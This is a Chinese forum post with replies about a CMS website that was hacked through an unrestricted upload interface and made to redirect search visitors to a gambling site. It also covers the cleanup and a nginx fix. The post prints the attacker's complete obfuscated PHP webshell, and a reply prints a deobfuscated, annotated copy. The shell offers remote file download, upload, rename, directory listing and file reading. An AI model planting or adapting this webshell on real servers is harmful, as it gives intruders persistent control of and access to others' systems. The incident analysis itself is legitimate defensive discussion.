记一次官网被黑的经历
12

今天下午五点左右收到通知说微信公众号的官网链接被限制访问了,上线一看,官网被黑了,百度通过关键字搜到官网条目,点进去直接跳转到一个博彩网站,这就尴尬了,才一天不上班网站就被黑出翔,实在蛋疼。
于是百度搜解决方案,查看网站首页源代码,发现不对劲
file
上服务器一看,几乎整个网站根目录都被替换了
原本正常代码目录应该是这样的
file
正常的index.php的内容应该如下
file
结果现在的网站目录变成这样了
file
目录无变化,但是文件TMD除了index.php以外其他文件都没了,这就尴尬了
查看现在的index.php的内容
file
直接变成个html文档了我去。
然后把出文件全部替换回来,网站恢复正常

接下来寻找被黑原因
进服务器执行history命令查看操作命令
未发现异常
推测不是ssh被攻破
是网站代码问题
很有可能是cms的漏洞
在网站根目录通过find ./ -mtime -l 命令查看最近24小时修改过的文件
file
发现upload目录下有修改过的文件,进去查看
file
发现被人上传了个脚本,很郁闷,之前没查看上传接口,原来这CMS不做上传防御的,不做防御就算了,上传文件之后还不会自动把文件重命名的,这游戏能玩?
查看了下脚本内容
file
最后清除了脚本后,亡羊补牢,设置nginx在上传目录下禁止执行php文件
调整了下攻击脚本的格式,内容如下

<?php 

error_reporting(0);

$sr="st"./*+/*+*/"rr"/*+/*+*/."ev";

$id=$sr/*+/*+*/("ri"."d_"."si");

$rn=$sr/*+/*+*/("em"."an"."er");

$dn=$sr/*+/*+*/("em"."anr"."id");

$od=$sr/*+/*+*/("ri"."dne"."po");

$rd=$sr/*+/*+*/("ri"."dda"."er");

$cd=$sr/*+/*+*/("ri"."deso"."lc");

$fpc=$sr/*+/*+*/("stn"."etn"."oc_t"."up_e"."lif");

$fgc=$sr/*+/*+*/("stn"."etn"."oc_t"."eg_e"."lif");

$muf=$sr/*+/*+*/("eli"."f_d"."eda"."olp"."u_e"."vom");

$dlform='<form method="post">
FN:<input name="fn" size="20" type="text">
URL:<input name="url" size="50" type="text">
<input type="submit" value="ok">
</form>';

$ulform='<form method="post" enctype="multipart/form-data">
<input name="uf" type="file">
SP:<input name="sp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$rnform='<form method="post">
ON:<input name="on" size="50" type="text">
NN:<input name="nn" size="50" type="text">
<input type="submit" value="ok"></form>';
$lpform='<form method="post">
DP:<input name="dp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$sfform='<form method="post">
DF:<input name="df" size="50" type="text">
<input type="submit" value="ok">
</form>';

if($_GET['act']=='dl')
{
    echo($dlform);
    if($_SERVER['REQUEST_METHOD']=='POST')
    {
        $fpc/*+/*+*/($_POST['fn'],$fgc/*+/*+*/($_POST['url']));
    }
    exit;
}

if($_GET['act']=='ul')
{
echo($ulform);

if($_SERVER['REQUEST_METHOD']=='POST')
{
    $sp=empty($_POST['sp'])?'./':$_POST['sp'].'/';$muf/*+/*+*/($/*+/*+*/{"_F"."IL"."ES"}["uf"]["tmp_name"],$sp.$/*+/*+*/{"_F"."IL"."ES"}["uf"]["name"]);
}
exit;

}
if($_GET['act']=='rn'){
    echo($rnform);
    if($_SERVER['REQUEST_METHOD']=='POST')
    {
        $rn/*+/*+*/($_POST['on'],$_POST['nn']);
    }
    exit;
    }
if($_GET['act']=='gp')
{
    echo($dn/*+/*+*/(__FILE__));
    exit;
}
if($_GET['act']=='lp')
{
    echo($lpform);
    if($_SERVER['REQUEST_METHOD']=='POST')
    {
        $dp=$_POST['dp'].'/';
        $h=$od/*+/*+*/($dp);
        while(($fn=$rd/*+/*+*/($h))!==false)
        {
            if($id/*+/*+*/($dp.$fn))
            {
                $t1.='D '.$fn.'<br>';
            } else {
                $t2.='  '.$fn.'<br>';
            }
        }
        $cd/*+/*+*/($dp);
        echo($dp.'<br>'.$t1.$t2);
        }
        exit;
}
if($_GET['act']=='sf')
{echo($sfform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
    $df=$_POST['df'];
echo('<textarea style="width:100%;height:100%;" wrap="off">'.$fgc/*+/*+*/($df).'</textarea>');
}
exit;
}

?>

看着这攻击脚本有点疑问,看不太懂,希望有能看懂的同学一起交流下,另外脚本有大段的./+/+*/ 这种注释,这种注释到底有什么用,或者说,这不仅仅是注释?还请有明白的同学指点一番

《L02 从零构建论坛系统》
以构建论坛项目 LaraBBS 为线索,展开对 Laravel 框架的全面学习。应用程序架构思路贴近 Laravel 框架的设计哲学。
《L04 微信小程序从零到发布》
从小程序个人账户申请开始,带你一步步进行开发一个微信小程序,直到提交微信控制台上线发布。
讨论数量: 14
月殇

tp吧 修复最近新公布的那几个漏洞了吗

2周前

@月殇 没有呢,新官网已经重构好了,下周上线,不用这套了

2周前

别用 都是 webinstall 的 漏洞贼多

2周前

新官网用的什么呢 看来tp是不好搞了

2周前
pigzzz

还是用拉瓦了

2周前
leo

/*+/*+*/ 在代码层面没有任何作用,主要是用来绕过一些智障的木马扫描器

2周前

主要功能:获取当前目录,扫描目录,获取文件内容,上传木马。

大概的内容如下:

<?php

// 关闭所有PHP错误报告
error_reporting(0);

/**
 * 这一段是申明函数名称,
 * 如:file_put_contents,move_uploaded_file,rename,dirname
 */

$dlform='<form method="post">
FN:<input name="fn" size="20" type="text">
URL:<input name="url" size="50" type="text">
<input type="submit" value="ok">
</form>';

$ulform='<form method="post" enctype="multipart/form-data">
<input name="uf" type="file">
SP:<input name="sp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$rnform='<form method="post">
ON:<input name="on" size="50" type="text">
NN:<input name="nn" size="50" type="text">
<input type="submit" value="ok"></form>';
$lpform='<form method="post">
DP:<input name="dp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$sfform='<form method="post">
DF:<input name="df" size="50" type="text">
<input type="submit" value="ok">
</form>';

// 将指定网站(url)下的源代码保存在 $_POST['fn'] 里
if($_GET['act']=='dl') {
    echo($dlform);
    if($_SERVER['REQUEST_METHOD']=='POST') {
        file_put_contents($_POST['fn'],file_get_contents($_POST['url']));
    }
    exit;
}

// 上传文件并重命名
if($_GET['act']=='ul') {
    echo($ulform);
    if($_SERVER['REQUEST_METHOD']=='POST') {
        $sp=empty($_POST['sp'])?'./':$_POST['sp'].'/';
        move_uploaded_file(${"_FILES"}["uf"]["tmp_name"],$sp.${"_FILES"}["uf"]["name"]);
    }
    exit;
}

// 重命名指定文件或目录
if($_GET['act']=='rn') {
    echo($rnform);
    if($_SERVER['REQUEST_METHOD']=='POST') {
        rename($_POST['on'],$_POST['nn']);
    }
    exit;
}

// 获取当前路径
if($_GET['act']=='gp') {
    echo(dirname(__FILE__));
    exit;
}

// 循环扫描指定目录下的文件和文件夹
if($_GET['act']=='lp') {
    echo($lpform);
    if($_SERVER['REQUEST_METHOD']=='POST') {
        $dp=$_POST['dp'].'/';
        $h=opendir($dp);
        while(($fn=readdir($h))!==false) {
            if(is_dir($dp.$fn)) {
                $t1.='D '.$fn.'<br>';
            } else {
                $t2.='  '.$fn.'<br>';
            }
        }
        closedir($dp);
        echo($dp.'<br>'.$t1.$t2);
        }
        exit;
}

// 获取服务器上指定文件的内容(根据上面循环扫描得到全路径)
if($_GET['act']=='sf') {
    echo($sfform);
    if($_SERVER['REQUEST_METHOD']=='POST'){
        $df=$_POST['df'];
        echo('<textarea style="width:100%;height:100%;" wrap="off">'.file_get_contents($df).'</textarea>');
    }
    exit;
}

?>
2周前

有人用帝国cms碰到过这个

2周前
尼古丁

恐怖:scream:

2周前
代码如诗人生如歌

同被黑的路过,tp漏洞,杀完木马升级补丁ok

2周前
ruke

之前用过 服务器空间, 也就是一台服务器分出来很多块, 卖给很多人, 有一次我发现通过php的这些个目录操作函数, 文件操作函数, 可以读取出卖给别人的空间(也就是目录),还可以删除文件..

2周前

这个脚本估计是自己写的, 比较简单, 前几天也发现了一个朋友的 tp5 网站被上传木马了.

主要也是静态化 index.php 文件, 加入跳转到博彩网站 js , 但是比较狡猾的是, 仅对于搜索引擎来源的进行跳转, 直接访问的不会跳转, 这样自己人不易发现.

然后, 在升级框架过程中, 发现了 5 种不同的后门脚本遍布在各个目录下, 同时文件名也是伪装成相似的文件名. 文件内容都是加密了, 功能十分丰富, 文件管理, sql, shell 等功能.

PS: 没有把 public 作为 web 根目录这个也是有点风险点. 建议楼主再次扫描一下其他目录下还有没有残留的.

2周前

@ivothgle 没错的,一样的,我也发现了六七个其他的脚本,很蛋疼,哈哈,不过这套代码已经不用了

2周前

  • 请注意单词拼写,以及中英文排版,参考此页
  • 支持 Markdown 格式, **粗体**、~~删除线~~、`单行代码`, 更多语法请见这里 Markdown 语法
  • 支持表情,使用方法请见 Emoji 自动补全来咯,可用的 Emoji 请见 :metal: :point_right: Emoji 列表 :star: :sparkles:
  • 上传图片, 支持拖拽和剪切板黏贴上传, 格式限制 - jpg, png, gif
  • 发布框支持本地存储功能,会在内容变更时保存,「提交」按钮点击时清空
  请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!